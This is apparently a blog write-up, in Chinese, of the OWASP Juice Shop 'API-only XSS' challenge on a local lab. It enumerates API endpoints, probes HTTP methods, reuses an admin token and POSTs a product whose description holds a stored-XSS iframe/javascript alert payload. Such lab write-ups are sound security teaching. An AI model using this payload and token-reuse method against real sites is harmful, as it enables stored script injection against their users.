【juice-shop】★★★ API-only XSS:绕过前端直接调用 API 实施存储型 XSS

通过 API 枚举发现 /api/Products 接口,携带管理员 Authorization 直接向后端 POST 含 XSS 有效负载的商品数据,绕过前端限制完成存储型 XSS 攻击。

【juice-shop】★★★ API-only XSS:绕过前端直接调用 API 实施存储型 XSS

0x01 任务简报

💡 提示 (Hints)
1. 需要直接调用服务器端 API,通过 API 尝试不同的 HTTP 动作以暴露不同实体。
2. 一个包含已知数据实体及其在 API 中支持的 HTTP 操作动词的矩阵可为你提供帮助。
3. 粗心的开发人员可能暴露了客户端根本不需要的 API 方法。

0x02 实战:复现漏洞

🔍 第一步:API 枚举

这个挑战需要寻找前端没有暴露的 API 接口,使用 FindSomething 插件收集到以下接口:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
/api/Addresss
/api/BasketItems
/api/Cards
/api/Challenges
/api/Challenges/?key=nftMintChallenge
/api/Complaints
/api/Deliverys
/api/Feedbacks
/api/Hints
/api/Products
/api/Quantitys
/api/Recycles
/api/SecurityAnswers
/api/SecurityQuestions
/api/Users

API 枚举结果

🌐 第二步:探测目标接口

使用 curl 逐个访问接口(默认 GET 方法),发现 /api/Products 返回了所有商品列表,将其作为目标。

1
❯ curl 127.0.0.1:3000/api/Products | python -m json.tool

Products 接口响应

虽然题目要求不使用前端,但不能被条件完全框住。

我们使用burp的内置浏览器,访问 http://127.0.0.1:3000/api/Products 将对应的请求加入到重放器里

加入 Repeater

Repeater 界面

⚙️ 第三步:探测支持的 HTTP 方法

发送 OPTIONS 请求,获取该接口支持的所有请求方法:

1
GET,HEAD,PUT,PATCH,POST,DELETE

OPTIONS 请求

OPTIONS 响应

逐一测试各方法:

  • PUT — 报错 Error: Unexpected path: /api/Products,无法使用
  • POST — 报错 UnauthorizedError: No Authorization header was found,缺少鉴权

🔑 第四步:获取管理员 Authorization

我们使用之前的Login Admin挑战获取一下 Authorization ,直接用admin防止权限不足(这里使用burp内置浏览器,便于捕获本地包)。

获取 Authorization

Authorization 添加到 Burp Repeater 的请求头中,重新发送 POST 请求。

添加 Authorization

发送成功,响应中出现了新商品,确认该接口为商品添加接口。

POST 成功

💉 第五步:构造 XSS Payload

整理关键信息:

XSS 有效负载(来自题目描述):

1
<iframe src='javascript:alert(`xss`)'>

接口返回的 JSON 结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
{
    "status": "success",
    "data": {
        "id": 49,
        "updatedAt": "2026-04-06T13:25:59.899Z",
        "createdAt": "2026-04-06T13:25:59.899Z",
        "name": null,
        "description": null,
        "price": null,
        "deluxePrice": null,
        "image": null,
        "deletedAt": null
    }
}

关键请求头(上传 JSON 数据时必须添加 Content-Type):

1
2
Authorization: Bearer <admin_token>
Content-Type: application/json

将 XSS 有效负载注入商品的 description 字段,构造并发送 POST 请求。

构造 Payload

✅ 第六步:完成挑战

访问 http://127.0.0.1:3000/#/search,翻到最后一页,找到通过 API 添加的商品,点击后 XSS 弹窗触发。

商品列表

XSS 弹窗触发

挑战完成!


吐槽

这个挑战因为一些细节粗心,花费了半天时间,我认为这个挑战是非常考验细节的,3 星有点低啊(雾

最后构建 payload 的时候注意不要少符号,容易搞坏这个 API,发现 GET 访问 /api/Products 报错的时候直接重启环境(


参考资料

使用 Hugo 构建
主题 StackJimmy 设计